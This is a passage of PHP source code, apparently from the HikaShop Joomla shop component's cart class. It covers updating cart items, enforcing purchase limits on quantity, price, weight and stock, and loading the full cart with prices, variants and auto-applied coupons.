$optionElement->cart_product_option_parent_id==@$prod->cart_product_option_parent_id){
										$already[]=$optionElement->product_id;
										continue;
									}
								}
								$ok = true;
								if(!empty($already)){
									foreach($already as $a){
										if(!isset($this->options[$a])){
											$ok = false;
										}
									}
									foreach($this->options as $o=>$a){
										if(!in_array($o,$already)){
											$ok = false;
										}
									}
								}elseif(count($this->options)){
									$ok = false;
								}

								if($ok){
									$id = $cart_product_id;
									if(@$this->mainProduct==$product_id){
										$this->mainProductCartId = $cart_product_id;
									}
								}
								break;
							}
						}
					}
				}
			}
			$quantity=(int)$quantity;
		}else{
			$id = $product_id;
			$product_id = (int)@$cartContent[$id]->product_id;
			if(is_array($quantity)){
				$quantity=(int)@$quantity['cart_product_quantity'];
			}else{
				$quantity=(int)@$quantity;
			}
		}

		if($quantity){
			if(!empty($cartContent) &&
in_array($id,array_keys($cartContent))){
				if($add){
					$quantity+=$cartContent[$id]->cart_product_quantity;
					$add=0;
				}elseif($quantity==$cartContent[$id]->cart_product_quantity){
					return false;
				}
				if($this->cart_type != 'wishlist')
					$this->_checkQuantity($cartContent[$id],$quantity,$cartContent,(int)$cartContent[$id]->cart_product_id);

				if($quantity){
					$query = 'UPDATE
'.hikashop_table('cart_product').' SET
cart_product_quantity='.(int)$quantity.' WHERE
cart_product_id='.(int)$cartContent[$id]->cart_product_id;
					$this->database->setQuery($query);
					$this->database->query();
					if($resetCartWhenUpdate){
						$this->loadCart(0,true);
						$app = JFactory::getApplication();
						$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_method',null);
						$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_id',null);
						$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_data',null);
					}
					return true;
				}else{
					$this->errors = true;
					return false;
				}
			}elseif(!empty($this->cart->cart_id) &&
!empty($product_id)){
				$class = hikashop_get('class.product');
				$product = $class->get($product_id);
				$parent = 0;
				if($this->cart_type != 'wishlist')
					$this->_checkQuantity($product,$quantity,$cartContent,-1);

				if(!isset($this->from_id))
					$this->from_id = 0;
				if($quantity){
					if($product->product_type=='variant'){
						$query = 'INSERT INTO
'.hikashop_table('cart_product').'
(cart_id,cart_product_modified,product_id,cart_product_parent_id,cart_product_quantity,cart_product_wishlist_id)
VALUES (
'.(int)$this->cart->cart_id.','.time().','.(int)$product->product_parent_id.',0,0,'.(int)$this->from_id.')';
						$this->database->setQuery($query);
						$this->database->query();
						$parent = (int)$this->database->insertid();
						$this->insertedIds[(int)$product->product_parent_id]=$parent;
					}
					$optionElement=0;
					if(!empty($this->insertedIds[(int)@$this->mainProduct])){
						$optionElement = (int)$this->insertedIds[$this->mainProduct];
					}
					$fields =
array('cart_id','cart_product_modified','product_id','cart_product_parent_id','cart_product_quantity','cart_product_option_parent_id','cart_product_wishlist_id');
					$values =
array((int)$this->cart->cart_id,time(),(int)$product_id,$parent,(int)$quantity,$optionElement,(int)$this->from_id);
					static $already_done2 = false;

					if((!$already_done2 || $force) && hikashop_level(2)){
						$already_done2 = true;
						$formData = JRequest::getVar( 'data', array(),
'', 'array' );

						if(!empty($formData['item']) || !empty($_FILES)){
							if(empty($data)){
								$fieldClass = hikashop_get('class.field');
								$element = new stdClass();
								$element->product_id = $product_id;
								$data =
$fieldClass->getInput('item',$element,true,'data',$force);
								if($data===false){
									$this->errors = true;
									return false;
								}
							}

							if(!empty($data)){
								foreach(get_object_vars($data) as $field => $var){
									$fields[]='`'.$field.'`';
									$values[]=$this->database->Quote($var);
								}
							}
						}
					}

					$query = 'INSERT INTO
'.hikashop_table('cart_product').'
('.implode(',',$fields).') VALUES
('.implode(',',$values).')';
					$this->database->setQuery($query);
					$this->database->query();
					$cartId = (int)$this->database->insertid();
					$this->insertedIds[(int)$product_id]=$cartId;
					if($resetCartWhenUpdate){
						$this->loadCart(0,true);
						$app = JFactory::getApplication();
						$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_method',null);
						$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_id',null);
						$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_data',null);
					}
					return true;
				}else{
					$this->errors = true;
					return false;
				}
			}
		}else if ($this->cart_type == 'wishlist' &&
!JRequest::getInt('delete','0') &&
!empty($cartContent[$id]->cart_product_id)){
			$query = 'UPDATE
'.hikashop_table('cart_product').' SET
cart_product_quantity='.(int)$quantity.' WHERE
cart_product_id='.(int)$cartContent[$id]->cart_product_id;
			$this->database->setQuery($query);
			$this->database->query();
			$add = 1;
		}

		if(!$add && !empty($cartContent) &&
in_array($id,array_keys($cartContent))){
			$query = 'DELETE FROM
'.hikashop_table('cart_product').' WHERE
cart_product_id = '.$cartContent[$id]->cart_product_id. ' OR
cart_product_parent_id = '.$id.' OR cart_product_id =
'.$cartContent[$id]->cart_product_parent_id.' OR
cart_product_option_parent_id='.$cartContent[$id]->cart_product_id;
			$this->database->setQuery($query);

			$this->database->query();
			if($resetCartWhenUpdate){
				$this->loadCart(0,true);
				$app = JFactory::getApplication();
				$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_method',null);
				$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_id',null);
				$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_data',null);
			}
			return true;
		}
		return false;
	}

	function
_checkQuantity(&$product,&$quantity,&$cartContent,$cart_product_id_for_product){
		if($quantity < 0){
			$quantity = 0;
		}
		$wantedQuantity = $quantity;

		if(!empty($this->options[$product->product_id])){
			$parent = $this->options[$product->product_id];
			if(isset($this->new_quantities[$parent]) &&
$quantity>$this->new_quantities[$parent]){
				$quantity = $this->new_quantities[$parent];
			}
		}

		if(hikashop_level(1)){
			$config =& hikashop_config();
			$item_limit = $config->get('cart_item_limit',0);

			if(!empty($item_limit)){
				$current_items = 0;
				if(!empty($cartContent)){
					foreach($cartContent as $element){
						if($element->product_id!=$product->product_id)
$current_items+=(int)$element->cart_product_quantity;
					}
				}
				$possible_quantity = $item_limit - $current_items;

				if($quantity > $possible_quantity){
					if($possible_quantity<0){
						$possible_quantity=0;
					}
					$quantity=$possible_quantity;
				}
			}
		}

		if(hikashop_level(1)) {
			$database = JFactory::getDBO();

			$productIds = array((int)$product->product_id);
			if( $product->product_parent_id > 0 ) {
				$productIds[] = (int)$product->product_parent_id;
			}
			$productCartIds = array((int)$product->product_id);
			if( is_array($cartContent) ) {
				foreach($cartContent as $cart_product_id => $prod){
					if( !in_array($prod->product_id, $productCartIds) ) {
						$productCartIds[] = (int)$prod->product_id;
					}
					if( $prod->product_parent_id > 0 &&
!in_array($prod->product_parent_id, $productCartIds) ) {
						$productCartIds[] = (int)$prod->product_parent_id;
					}
				}
			}
			$database->setQuery('SELECT category_id, product_id FROM
'.hikashop_table('product_category').' WHERE product_id
IN ('.implode(',',$productCartIds).');');
			$categoryIds = array();
			$cartCategoryLink = array();
			$catIds = '';
			$ret = $database->loadObjectList();
			$acceptedCategory = array();
			foreach($ret as $c) {
				if($c->product_id == $product->product_id || $c->product_id ==
$product->product_parent_id) {
					$acceptedCategory[$c->category_id] = $c->category_id;
				}
			}
			foreach($ret as $c) {
				if(isset($acceptedCategory[$c->category_id])) {
					$categoryIds[] = $c->category_id;
					if(!isset($cartCategoryLink[$c->product_id])) {
						$cartCategoryLink[$c->product_id] = array($c->category_id);
					} else {
						$cartCategoryLink[$c->product_id][] = $c->category_id;
					}
				}
			}
			unset($acceptedCategory);
			unset($c);
			unset($ret);

			$filters = array();
			hikashop_addACLFilters($filters,'limit_access','a');

			$query = ' FROM '.hikashop_table('limit').' AS
a WHERE a.limit_published = 1 AND (limit_start = 0 OR limit_start >=
'.time().') AND (limit_end = 0 OR limit_end <=
'.time().') AND a.limit_product_id IN
('.implode(',',$productIds).',0)';
			if( count($categoryIds) > 0 )
				$catIds = implode(',',$categoryIds).',';
			$query .= ' AND limit_category_id IN
('.$catIds.'0)';
			$filters = implode(' AND ', $filters);
			if( !empty($filters) ) {
				$query .= ' AND ' . $filters;
			}
			$database->setQuery('SELECT count(*)'.$query );
			$limiters = $database->loadResult();

			if( $limiters > 0 ) {
				$database->setQuery('SELECT a.*'.$query);
				$limiters = $database->loadObjectList();
				$periodicity = array(
					'forever' => 0,
					'yearly' => 1,
					'quarterly' => 2,
					'monthly' => 3,
					'weekly' => 4,
					'daily' => 5,
					'cart' => 6
				);
				$limiterTypes = array('price' => false,
'quantity' => false, 'weight' => false );
				$dateLimiter = 0;
				$categoryIds = array();
				$limit_statuses = array();

				foreach($limiters as $limiter) {
					if( $limiter->limit_category_id > 0 ) {
						$categoryIds[] = $limiter->limit_category_id;
					}
					$limiterTypes[ $limiter->limit_type ] = true;
					$dateLimiter = ($dateLimiter > 0 && $dateLimiter <
$periodicity[$limiter->limit_periodicity])?$dateLimiter:$periodicity[$limiter->limit_periodicity];
					$statuses = explode(',',$limiter->limit_status);
					foreach($statuses as $s) {
						$limit_statuses[$s] = $s;
					}
					unset($s);
					unset($statuses);
				}

				$d = getdate();
				$baseDates = array(
					0 => 0,
					1 => mktime(0,0,0,1,1,$d['year']),
					2 =>
mktime(0,0,0,$d['mon']-(($d['mon']-1)%4),1,$d['year']),
					3 => mktime(0,0,0,$d['mon'],1,$d['year']),
					4 =>
mktime(0,0,0,$d['mon'],$d['mday']-$d['wday'],$d['year']),
					5 =>
mktime(0,0,0,$d['mon'],$d['mday'],$d['year']),
					6 => -1
				);

				$user = JFactory::getUser();
				if(!empty($user->id) && $baseDates[$dateLimiter] >= 0) {
					$query = 'SELECT a.order_product_id, a.product_id,
a.order_product_quantity, a.order_product_price, a.order_product_tax,
b.order_currency_id, b.order_created, b.order_status, c.product_parent_id,
d.category_id FROM ';
					$query .= hikashop_table('order_product').' AS
a';
					$query .= ' INNER JOIN
'.hikashop_table('order').' AS b ON a.order_id =
b.order_id ';
					if( count($limit_statuses) > 0 ) {
						$query .= "AND b.order_status IN ('".
implode("','",$limit_statuses) ."')";
					}
					$query .= ' AND b.order_user_id = ' .
(int)hikashop_loadUser();
					$query .= ' AND b.order_created >= ' .
$baseDates[$dateLimiter];
					$query .= ' INNER JOIN
'.hikashop_table('product').' AS c ON (a.product_id =
c.product_id) OR (a.product_id = c.product_parent_id)';
					$query .= ' INNER JOIN
'.hikashop_table('product_category').' AS d ON
(c.product_parent_id = 0 AND c.product_id = d.product_id) OR
(c.product_parent_id = d.product_id) ';
					$query .= ' WHERE a.product_id IN
('.implode(',',$productIds).')';
					if( count($categoryIds) > 0 )
						$query .= 'OR category_id IN
('.implode(',',$categoryIds).')';
					$query .= ';';

					$database->setQuery($query);
					$rows = $database->loadObjectList('product_id');
					$productIds = array();
					foreach($rows as $p) {
						if(empty($p->product_parent_id))
							$productIds[$p->product_id] = $p->product_id;
						else
							$productIds[$p->product_parent_id] = $p->product_parent_id;
					}
				} else {
					$rows = array();
					$productIds = array();
				}

				if( $limiterTypes['weight'] ||
$limiterTypes['price'] ) {
					if(count($rows)){
						$productClass = hikashop_get('class.product');
						$productClass->getProducts( $productIds );
					}
					$fullcart = $this->loadFullCart(false, true, true);
				}
				JPluginHelper::importPlugin( 'hikashop' );
				$dispatcher = JDispatcher::getInstance();
				foreach($limiters as $limiter) {
					$baseDate = $baseDates[ $periodicity[ $limiter->limit_periodicity ]
];
					$value = 0;
					foreach($rows as $r) {
						if( $baseDate >= 0 && $r->order_created >= $baseDate
&& strpos(','.$limiter->limit_status.',',
','.$r->order_status.',') !== false ) {
							if(
								($limiter->limit_product_id == 0 ||
($limiter->limit_product_id == $r->product_id) ||
$limiter->limit_product_id == $r->product_parent_id)
									||
								($limiter->limit_category_id == 0 ||
($limiter->limit_category_id == $r->category_id))
							) {
								switch($limiter->limit_type) {
									case 'quantity':
										$value += $r->order_product_quantity;
										break;
									case 'price':
										$dispatcher->trigger(
'onBeforeCalculateProductPriceForQuantityInOrder', array(
&$r) );
										if(function_exists('hikashop_product_price_for_quantity_in_order')){
											hikashop_product_price_for_quantity_in_order($r);
										}else{
											$r->order_product_total_price_no_vat =
$r->order_product_price*$r->order_product_quantity;
											$r->order_product_total_price =
($r->order_product_price+$r->order_product_tax)*$r->order_product_quantity;
										}
										$dispatcher->trigger(
'onAfterCalculateProductPriceForQuantityInOrder', array( &$r)
);
										$value += $r->order_product_total_price;
									case 'weight':
										$id = ($r->product_parent_id ==
0)?$r->product_id:$r->product_parent_id;
										if(!empty($productClass->products[$id])){
											$p =& $productClass->products[$id];
											if(empty($p->product_weight)&&
$r->product_parent_id != 0 &&
!empty($productClass->products[$r->product_parent_id])){
												$p =&
$productClass->products[$r->product_parent_id];
											}
											if( $p->product_weight_unit == $limiter->limit_unit ) {
												$value += $p->product_weight *
$r->order_product_quantity;
											}
											unset($p);
										}
										break;
								}
							}
						}
					}

					if( isset($fullcart) ) {
						foreach($fullcart->products as $cc ) {
							if($cart_product_id_for_product>0){
								if($cc->cart_product_id == $cart_product_id_for_product){
									continue;
								}
							}

							$id = ($cc->product_parent_id ==
0)?$cc->product_id:$cc->product_parent_id;
							if( ($limiter->limit_product_id == 0 ||
$limiter->limit_product_id == $id) &&
($limiter->limit_category_id == 0 || (isset($cartCategoryLink[$id])
&& is_array($cartCategoryLink[$id]) &&
in_array($limiter->limit_category_id, $cartCategoryLink[$id])))) {
								switch($limiter->limit_type) {
									case 'quantity':
										$value += $cc->cart_product_quantity;
										break;
									case 'price':
										if(isset($cc->prices) && is_array($cc->prices)
&& count($cc->prices)){
											$value += $cc->prices[0]->price_value_with_tax;
										}
										break;
									case 'weight':
										if(isset($cc->product_weight_unit) &&
$cc->product_weight_unit == $limiter->limit_unit ) {
											$value += $cc->product_weight *
$cc->cart_product_total_quantity;
										}
										break;
								}
							}
						}
					} else {
						foreach($cartContent as $cc ) {
							if($cart_product_id_for_product>0){
								if($cc->cart_product_id == $cart_product_id_for_product){
									continue;
								}
							}
							$id = ($cc->product_parent_id ==
0)?$cc->product_id:$cc->product_parent_id;
							if( ($limiter->limit_product_id > 0 &&
$limiter->limit_product_id == $id) || ($limiter->limit_category_id
> 0 && isset($cartCategoryLink[$id]) &&
is_array($cartCategoryLink[$id]) && 
in_array($limiter->limit_category_id, $cartCategoryLink[$id])) ) {
								switch($limiter->limit_type) {
									case 'quantity':
										$value += $cc->cart_product_quantity;
										break;
									case 'price':
										$value +=
$cc->prices[0]->price_value_with_tax*$cc->cart_product_quantity;
										break;
									case 'weight':
										$value += $cc->product_weight*$cc->cart_product_quantity;
										break;
								}
							}
						}
					}
					if($cart_product_id_for_product==-1 &&
$product->product_type=="variant"){
						$productClass = hikashop_get('class.product');
						$parent = $productClass->get($product->product_parent_id);
						$ids = array($parent->product_id);
						$currencyClass = hikashop_get('class.currency');
						$config =& hikashop_config();
						$main_currency = (int)$config->get('main_currency',1);
						$currency_id = hikashop_getCurrency();
						if(!in_array($currency_id,$currencyClass->publishedCurrencies())){
							$currency_id = $main_currency;
						}
						$zone_id = hikashop_getZone('shipping');
						if($config->get('tax_zone_type','shipping')=='billing'){
							$tax_zone_id=hikashop_getZone('billing');
						}else{
							$tax_zone_id=$zone_id;
						}
						$discount_before_tax =
(int)$config->get('discount_before_tax',0);
						$currencyClass->getPrices($parent,$ids,$currency_id,$main_currency,$zone_id,$discount_before_tax);
						$productClass->checkVariant($product,$parent);

					}
					switch($limiter->limit_type) {
						case 'quantity':
							if( $value + $quantity > $limiter->limit_value ) {
								$quantity = $limiter->limit_value - $value;
							}
							break;
						case 'price':
							$currencyClass = hikashop_get('class.currency');

							$product->cart_product_quantity = $quantity;
							$product->cart_product_total_quantity = $quantity;

							if(!isset($product->prices)){
								$ids = array($product->product_id);
								$config =& hikashop_config();
								$main_currency =
(int)$config->get('main_currency',1);
								$currency_id = hikashop_getCurrency();
								if(!in_array($currency_id,$currencyClass->publishedCurrencies())){
									$currency_id = $main_currency;
								}
								$zone_id = hikashop_getZone('shipping');
								if($config->get('tax_zone_type','shipping')=='billing'){
									$tax_zone_id=hikashop_getZone('billing');
								}else{
									$tax_zone_id=$zone_id;
								}
								$discount_before_tax =
(int)$config->get('discount_before_tax',0);
								$currencyClass->getPrices($product,$ids,$currency_id,$main_currency,$tax_zone_id,$discount_before_tax);
							}
							$currencyClass->calculateProductPriceForQuantity($product);
							if(isset($product->prices) &&
is_array($product->prices) && count($product->prices)){
								if( $value + $product->prices[0]->price_value_with_tax >
$limiter->limit_value ) {
									while( $product->cart_product_quantity > 0 &&
($value + $product->prices[0]->price_value_with_tax >
$limiter->limit_value) ) {
										$product->cart_product_quantity--;
										$currencyClass->calculateProductPriceForQuantity($product);
									}
									$quantity = $product->cart_product_quantity;
								}
							}


							break;
						case 'weight':
							if( $product->product_weight > 0 &&
$product->product_weight_unit == $limiter->limit_unit &&
($value + ($quantity * $product->product_weight) >
$limiter->limit_value) ) {
								$quantity = floor(($limiter->limit_value - $value) /
$product->product_weight);
							}
							break;
					}
					if( $quantity < 0 ) {
						$quantity = 0;
					}
				}
			}
		}

		if($product->product_type=='variant'){
			$class = hikashop_get('class.product');
			$parentProduct = $class->get($product->product_parent_id);
			if($product->product_quantity==-1 &&
$parentProduct->product_quantity!=-1){
				$product->product_quantity = $parentProduct->product_quantity;
			}

			if(!empty($parentProduct->product_min_per_order)){
				$quantity_for_same_main_product =&
$this->_getGlobalQuantityOfVariants($cartContent,$product);

				if($parentProduct->product_min_per_order>1 &&
$quantity_for_same_main_product<$parentProduct->product_min_per_order-$quantity){
					$quantity = 0;

				}
			}

			if(!empty($parentProduct->product_max_per_order)){
				$quantity_for_same_main_product =&
$this->_getGlobalQuantityOfVariants($cartContent,$product);
				if($quantity_for_same_main_product>$parentProduct->product_max_per_order){
					if($quantity<$parentProduct->product_max_per_order){
						$quantity_for_same_main_product=$quantity_for_same_main_product-($parentProduct->product_max_per_order-$quantity);
						$quantity=0;
					}else{
						$quantity_for_same_main_product=$quantity_for_same_main_product-($quantity-$parentProduct->product_max_per_order);
						$quantity=$parentProduct->product_max_per_order;
					}
				}
			}
		}
		if($product->product_quantity>=0 &&
$product->product_quantity<$quantity) $quantity =
$product->product_quantity;

		if($product->product_min_per_order > 1 &&
$product->product_min_per_order > $quantity){
			$quantity = $product->product_min_per_order;
			if($product->product_quantity>=0 &&
$product->product_quantity<$quantity){
				$quantity = 0;
			}
		}
		if($product->product_max_per_order>0 &&
$product->product_max_per_order<$quantity) $quantity =
$product->product_max_per_order;

		if(hikashop_level(1)){
			$config =& hikashop_config();
			$item_limit = $config->get('cart_item_limit',0);

			if(!empty($item_limit)){
				$current_items = 0;
				if(!empty($cartContent)){
					foreach($cartContent as $element){
						if($element->product_id!=$product->product_id)
$current_items+=(int)$element->cart_product_quantity;
					}
				}
				$possible_quantity = $item_limit - $current_items;

				if($quantity > $possible_quantity){
					if($possible_quantity<0){
						$possible_quantity=0;
					}
					$quantity=$possible_quantity;
				}
			}
		}

		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$displayErrors=true;
		$dispatcher->trigger('onAfterProductQuantityCheck',
array(&$product, &$wantedQuantity,&$quantity,
&$cartContent, &$cart_product_id_for_product, &$displayErrors)
);

		if( $displayErrors && $wantedQuantity > $quantity ) {
			$app = JFactory::getApplication();
			if( $quantity == 0 ) {
				$app->enqueueMessage( JText::sprintf(
'LIMIT_REACHED_REMOVED', $product->product_name));
			} else {
				$app->enqueueMessage( JText::sprintf( 'LIMIT_REACHED',
$product->product_name));
			}
		}

		$this->new_quantities[$product->product_id] = $quantity;
	}

	function
&_getGlobalQuantityOfVariants(&$cartContent,&$product){
		static $quantity_for_same_main_product=array();
		if(!isset($quantity_for_same_main_product[$product->product_parent_id])){
			$quantity=0;
			if(!empty($cartContent)){
				foreach($cartContent as $element){
					if($element->product_parent_id==$product->product_parent_id)
$quantity+=(int)$element->cart_product_quantity;
				}
			}
			$quantity_for_same_main_product[$product->product_parent_id] =
$quantity;
		}
		return $quantity_for_same_main_product[$product->product_parent_id];
	}

	function
&loadFullCart($additionalInfos=false,$keepEmptyCart=false,$skipChecks=false){

		$app = JFactory::getApplication();
		$database	= JFactory::getDBO();
		$config =& hikashop_config();
		$currencyClass = hikashop_get('class.currency');
		$productClass = hikashop_get('class.product');
		$main_currency = (int)$config->get('main_currency',1);
		$currency_id = hikashop_getCurrency();

		if(!in_array($currency_id,$currencyClass->publishedCurrencies())){
			$currency_id = $main_currency;
		}

		$zone_id = hikashop_getZone('shipping');
		if($config->get('tax_zone_type','shipping')=='billing'){
			$tax_zone_id=hikashop_getZone('billing');
		}else{
			$tax_zone_id=$zone_id;
		}
		$discount_before_tax =
(int)$config->get('discount_before_tax',0);
		$cart = new stdClass();
		$cart->products = $this->get(@$this->cart->cart_id,
$keepEmptyCart);
		$cart->cart_id = (int)@$this->cart->cart_id;
		$cart->cart_type = @$this->cart->cart_type;
		$cart->cart_params = @$this->cart->cart_params;
		$cart->coupon = null;
		$cart->shipping = null;
		$cart->total = null;
		$cart->additional = array();

		if(!empty($cart->products)){
			$ids = array();
			foreach($cart->products as $product){
				$ids[]=$product->product_id;
			}
			JArrayHelper::toInteger($ids);
			$query = 'SELECT * FROM
'.hikashop_table('file').' WHERE file_ref_id IN
('.implode(',',$ids).') AND file_type IN(
\'product\',\'file\') ORDER BY file_ref_id ASC,
file_ordering ASC';
			$database->setQuery($query);
			$images = $database->loadObjectList();
			if(!empty($images)){
				foreach($cart->products as $k => $row){
					$productClass->addFiles($cart->products[$k],$images);
				}
			}

			foreach($cart->products as $k => $row){
				if($row->product_type=='variant'){
					foreach($cart->products as $k2 => $row2){
						if($row->product_parent_id==$row2->product_id){
							$cart->products[$k2]->variants[]=&$cart->products[$k];
							break;
						}
					}
				}
			}

			$query = 'SELECT a.*,b.* FROM
'.hikashop_table('variant').' AS a LEFT JOIN
'.hikashop_table('characteristic').' AS b ON
a.variant_characteristic_id=b.characteristic_id WHERE a.variant_product_id
IN ('.implode(',',$ids).') ORDER BY
a.ordering,b.characteristic_value';
			$database->setQuery($query);
			$characteristics = $database->loadObjectList();
			if(!empty($characteristics)){
				foreach($cart->products as $key => $product){
					if($product->product_type!='variant'){
						$element =& $cart->products[$key];
						$product_id=$product->product_id;
						$mainCharacteristics = array();
						foreach($characteristics as $characteristic){
							if($product_id==$characteristic->variant_product_id){
								$mainCharacteristics[$product_id][$characteristic->characteristic_parent_id][$characteristic->characteristic_id]=$characteristic;
							}
							if(!empty($element->options)){
								foreach($element->options as $k => $optionElement){
									if($optionElement->product_id==$characteristic->variant_product_id){
										$mainCharacteristics[$optionElement->product_id][$characteristic->characteristic_parent_id][$characteristic->characteristic_id]=$characteristic;
									}
								}
							}
						}
						if(!empty($element->variants)){
							$this->addCharacteristics($element,$mainCharacteristics,$characteristics);
						}

						if(!empty($element->options)){
							foreach($element->options as $k => $optionElement){
								if(!empty($optionElement->variants)){
									$this->addCharacteristics($element->options[$k],$mainCharacteristics,$characteristics);
								}
							}
						}
					}
				}
			}

			$product_quantities = array();
			foreach($cart->products as $row){
				if(empty($product_quantities[$row->product_id])){
					$product_quantities[$row->product_id] =
(int)@$row->cart_product_quantity;
				}else{
					$product_quantities[$row->product_id]+=(int)@$row->cart_product_quantity;
				}
				if(empty($product_quantities[$row->product_parent_id])){
					$product_quantities[$row->product_parent_id] =
(int)@$row->cart_product_quantity;
				}else{
					$product_quantities[$row->product_parent_id] +=
(int)@$row->cart_product_quantity;
				}
			}
			foreach($cart->products as $k => $row){
				$cart->products[$k]->cart_product_total_quantity =
$product_quantities[$row->product_id];
				if($row->product_parent_id){
					$cart->products[$k]->cart_product_total_variants_quantity =
$product_quantities[$row->product_parent_id];
				}else{
					$cart->products[$k]->cart_product_total_variants_quantity =
$cart->products[$k]->cart_product_total_quantity;
				}
			}

			$currencyClass->getPrices($cart->products,$ids,$currency_id,$main_currency,$tax_zone_id,$discount_before_tax);

			if($additionalInfos){
				$queryImage = 'SELECT * FROM
'.hikashop_table('file').' WHERE file_ref_id IN
('.implode(',',$ids).') AND
file_type=\'product\' ORDER BY file_ref_id ASC, file_ordering
ASC, file_id ASC';
				$database->setQuery($queryImage);
				$images = $database->loadObjectList();

				foreach($cart->products as $k=>$row){
					if(!empty($images)){
						foreach($images as $image){
							if($row->product_id==$image->file_ref_id){
								if(!isset($row->file_ref_id)){
									foreach(get_object_vars($image) as $key => $name){
										$cart->products[$k]->$key = $name;
									}
								}
								break;
							}
						}
					}
					if(!isset($cart->products[$k]->file_name)){
						$cart->products[$k]->file_name = $row->product_name;
					}
				}
			}

			foreach($cart->products as $k => $row){
				if(!empty($row->variants)){
					foreach($row->variants as $k2 => $variant){
						$productClass->checkVariant($cart->products[$k]->variants[$k2],$row);
					}
				}
			}

			$notUsable = array();
			$cartData = $this->loadCart($cart->cart_id);

			if(!$skipChecks){
				$cart->products = array_reverse($cart->products);
				foreach($cart->products as $k => $product){
					if(empty($product->product_id)){
						continue;
					}
					if(!empty($product->cart_product_quantity)){
						$oldQty = $product->cart_product_quantity;
						if(@$cartData->cart_type != 'wishlist')
							$this->_checkQuantity($product,$product->cart_product_quantity,$cart->products,$product->cart_product_id);
						if($oldQty!=$product->cart_product_quantity){
							$notUsable[$product->cart_product_id]=0;
							break;
						}
						if(!$config->get('display_add_to_cart_for_free_products',0)
&& empty($product->prices)){
							$notUsable[$product->cart_product_id]=0;
							$app->enqueueMessage(JText::sprintf('PRODUCT_NOT_AVAILABLE',$product->product_name),'notice');
							continue;
						}
						if(empty($product->product_published)){
							$notUsable[$product->cart_product_id]=0;
							$app->enqueueMessage(JText::sprintf('PRODUCT_NOT_AVAILABLE',$product->product_name),'notice');
							continue;
						}
						if($product->product_quantity!=-1 &&
$product->product_quantity < $product->cart_product_quantity){
							$notUsable[$product->cart_product_id]=0;
							$app->enqueueMessage(JText::sprintf('NOT_ENOUGH_STOCK_FOR_PRODUCT',$product->product_name),'notice');
							continue;
						}

						if($product->product_sale_start>time()){
							$notUsable[$product->cart_product_id]=0;
							$app->enqueueMessage(JText::sprintf('PRODUCT_NOT_YET_ON_SALE',$product->product_name),'notice');
							continue;
						}
						if(!empty($product->product_sale_end) &&
$product->product_sale_end<time()){
							$notUsable[$product->cart_product_id]=0;
							$app->enqueueMessage(JText::sprintf('PRODUCT_NOT_SOLD_ANYMORE',$product->product_name),'notice');
							continue;
						}
					}
				}
				$cart->products = array_reverse($cart->products);
			}

			if(!empty($notUsable)){
				$this->update($notUsable,1,0,'item');
				return $this->loadFullCart($additionalInfos);
			}

			foreach($cart->products as $k => $row){
				$currencyClass->calculateProductPriceForQuantity($cart->products[$k]);
			}

			$currencyClass->calculateTotal($cart->products,$cart->total,$currency_id);
			$cart->full_total=&$cart->total;

			JPluginHelper::importPlugin('hikashop');
			JPluginHelper::importPlugin('hikashoppayment');
			JPluginHelper::importPlugin('hikashopshipping');
			$dispatcher = JDispatcher::getInstance();
			$dispatcher->trigger('onAfterCartProductsLoad', array(
&$cart ) );

			if(!empty($cart->additional)) {
				$currencyClass->addAdditionals($cart->additional,
$cart->additional_total, $cart->full_total, $currency_id);
				$cart->full_total =& $cart->additional_total;
			}

			if(!empty($this->cart->cart_coupon) && $cart->cart_type
!= 'wishlist'){
				$discount=hikashop_get('class.discount');
				$discountData = $discount->load($this->cart->cart_coupon);
				if(@$discountData->discount_auto_load){
					$current_auto_coupon_key =
sha1($zone_id.'_'.serialize($cart->products).'_'.hikashop_loadUser());
					$previous_auto_coupon_key = $app->getUserState(
HIKASHOP_COMPONENT.'.auto_coupon_key');
					if($current_auto_coupon_key!=$previous_auto_coupon_key){
						$this->cart->cart_coupon='';
					}
				}
			}

			if(hikashop_level(1) && empty($this->cart->cart_coupon)
&& $cart->cart_type != 'wishlist'){
				$filters =
array('discount_type=\'coupon\'','discount_published=1','discount_auto_load=1');
				hikashop_addACLFilters($filters,'discount_access');
				$query = 'SELECT * FROM
'.hikashop_table('discount').' WHERE
'.implode(' AND ',$filters).' ORDER BY
discount_minimum_order DESC, discount_minimum_products DESC';
				$this->database->setQuery($query);
				$coupons = $this->database->loadObjectList();
				if(!empty($coupons)){
					$discount = hikashop_get('class.discount');
					$zoneClass = hikashop_get('class.zone');
					$zones = $zoneClass->getZoneParents($zone_id);
					foreach($coupons as $coupon){
						$result =
$discount->check($coupon,$cart->total,$zones,$cart->products,false);
						if($result){
							$auto_coupon_key =
sha1($zone_id.'_'.serialize($cart->products).'_'.hikashop_loadUser());
							$app->setUserState(
HIKASHOP_COMPONENT.'.auto_coupon_key',$auto_coupon_key);
							$app->setUserState(
HIKASHOP_COMPONENT.'.coupon_code','');
							$this->update($coupon->discount_code,1,0,'coupon',true);
							static $done = false;
							if($done==false){
								$done= true;
								return $this->loadFullCart($additionalInfos);
							}
						}
					}
				}
			}

			if(!empty($this->cart->cart_coupon) && $cart->cart_type
!= 'wishlist') {
				$zoneClass = hikashop_get('class.zone');
				$zones = $zoneClass->getZoneParents($zone_id);
				$cart->coupon =
$discount->loadAndCheck($this->cart->cart_coupon,
$cart->full_total, $zones, $cart->products, true);
				if(empty($cart->coupon)) {
					if(!empty($this->cart))
						$this->cart->cart_coupon = '';
				} else {
					$cart->full_total = &$cart->coupon->total;
				}
			}

			if(bccomp($cart->full_total->prices[0]->price_value_with_tax,
0, 5) <= 0) {
				$cart->full_total->prices[0]->price_value_with_tax = 0;
				$cart->full_total->prices[0]->price_value = 0;
				if(isset($cart->full_total->prices[0]->taxes))
					unset($cart->full_total->prices[0]->taxes);
			}

			$shipping_id =
$app->getUserState(HIKASHOP_COMPONENT.'.shipping_id');
			if(!empty($shipping_id)) {
				$cart->shipping =
$app->getUserState(HIKASHOP_COMPONENT.'.shipping_data');
				if(!empty($cart->shipping)) {
					if(!is_array($cart->shipping))
						$cart->shipping = array($cart->shipping);
					$currencyClass = hikashop_get('class.currency');
